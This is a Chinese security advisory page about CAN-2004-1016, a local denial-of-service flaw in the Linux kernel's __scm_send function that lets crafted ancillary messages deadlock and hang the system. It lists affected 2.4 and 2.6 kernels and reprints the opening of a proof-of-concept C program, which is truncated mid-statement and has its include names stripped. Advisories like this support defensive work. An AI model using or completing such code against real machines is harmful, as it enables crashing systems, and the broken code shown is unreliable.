| Linux kernel scm_send本地拒绝服务漏洞 |
|
| Linux kernel scm_send本地拒绝服务漏洞 |
|
| |
|
受影响系统: Linux kernel 2.6.9 Linux kernel 2.6.8 Linux kernel 2.6.7 Linux kernel 2.6.6 Linux kernel 2.6.5 Linux kernel 2.6.4 Linux kernel 2.6.3 Linux kernel 2.6.2 Linux kernel 2.6.1 Linux kernel 2.6 Linux kernel 2.4.9 Linux kernel 2.4.8 Linux kernel 2.4.7 Linux kernel 2.4.6 Linux kernel 2.4.5 Linux kernel 2.4.4 Linux kernel 2.4.3 Linux kernel 2.4.28 Linux kernel 2.4.27 Linux kernel 2.4.26 Linux kernel 2.4.25 Linux kernel 2.4.24 Linux kernel 2.4.23 Linux kernel 2.4.22 Linux kernel 2.4.21 Linux kernel 2.4.20 Linux kernel 2.4.2 Linux kernel 2.4.19 Linux kernel 2.4.18 Linux kernel 2.4.17 Linux kernel 2.4.16 Linux kernel 2.4.15 Linux kernel 2.4.14 Linux kernel 2.4.13 Linux kernel 2.4.12 Linux kernel 2.4.11 Linux kernel 2.4.10 Linux kernel 2.4.1 Linux kernel 2.4 描述: -------------------------------------------------------------------------------- CVE(CAN) ID: CAN-2004-1016
Linux Kernel是开放源代码操作系统Linux的内核。
Linux Kernel中的套接口层存在一个问题,本地攻击者可以利用这个漏洞使系统挂起。
Linux内核提供强大的套接口API供用户应用程序使用,套接口层使用多个逻辑子层,其中一个层称为辅助消息层(SCM层),其中一个SCM消息解析函数调用来自内核sendmsg()代码:__scm_send(),此函数不正确处理部分辅助消息,如果精心构建准备好的辅助消息给非特权应用程序使用的套接口,可引起死锁,而导致系统挂起。
<*来源:Paul Starzetz (paul@starzetz.de)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110304192803108&w=2 *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Paul Starzetz (paul@starzetz.de)提供了如下测试方法:
/* * Linux kernel 2.4 & 2.6 __scm_send DoS * Warning! this code will hang your machine * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */
#define _GNU_SOURCE #include #include #include #include
static char buf[1024];
void fatal (const char *msg) { printf ("\n"); if (!errno) { fprintf (stderr, "FATAL: %s\n", msg); } else { perror (msg); } printf ("\n"); fflush (stdout); fflush (stderr); exit (1); }
int main (void) { int s[2], r; struct sockaddr_in sin; struct msghdr *msg; struct cmsghdr *cmsg;
r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s); if (r |
 |
频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。
| 原始作者:佚名 |
录入时间:2007-1-2 22:28:24 |
| 信息来源:不详 |
投稿信箱:itqoo@126.com |
|
|
 |
|
|
| 教程录入:itqoo 责任编辑:itqoo |
|
上一个教程: Microsoft Office XP远程缓冲区溢出漏洞(MS05-005)
下一个教程: Mozilla Firefox侧栏脚本注入漏洞 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |